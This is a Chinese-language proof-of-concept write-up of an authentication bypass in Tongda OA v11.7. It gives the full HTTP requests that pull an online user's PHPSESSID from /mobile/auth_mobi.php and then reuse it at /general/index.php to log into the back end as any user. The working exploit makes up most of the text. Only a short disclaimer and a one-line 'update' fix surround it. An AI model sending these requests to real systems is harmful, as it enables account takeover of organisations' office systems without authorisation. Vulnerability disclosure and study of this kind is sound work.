警告:本文所涉及内容只可用于交流学习,请勿使用本文提到的内容违反法律,本文和作者不提供任何担保!!!
一、漏洞原理
通达OA v11.7 中存在某接口查询在线用户,当用户在线时会返回 PHPSESSION使其可登录后台系统。
二、漏洞复现
通过访问/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0这个url
请求包
GET /mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0 HTTP/1.1
Host: ip:port
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=a3saos15brp65uqgk4mrqmqmg5
Connection: close
获取需要的phpsession值(如下图)
访问ip:port/general/index.php 如下图
请求包如下(注:浏览器默认会保存cookie,当然也会自动保存上一步获取到的PHPSESSID,下面的请求包可不用替换PHPSESSID,访问的时候会以上面获取到的PHPSESSID用户身份进行访问,所以复现此漏洞时,可全程不开burp进行抓包改包,只需要打开浏览器访问两个页面即可。)
GET /general/index.php HTTP/1.1
Host: ip:port
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=a3saos15brp65uqgk4mrqmqmg5
Connection: close
任意用户登录成功
三、修复建议
更新至最新安全版本。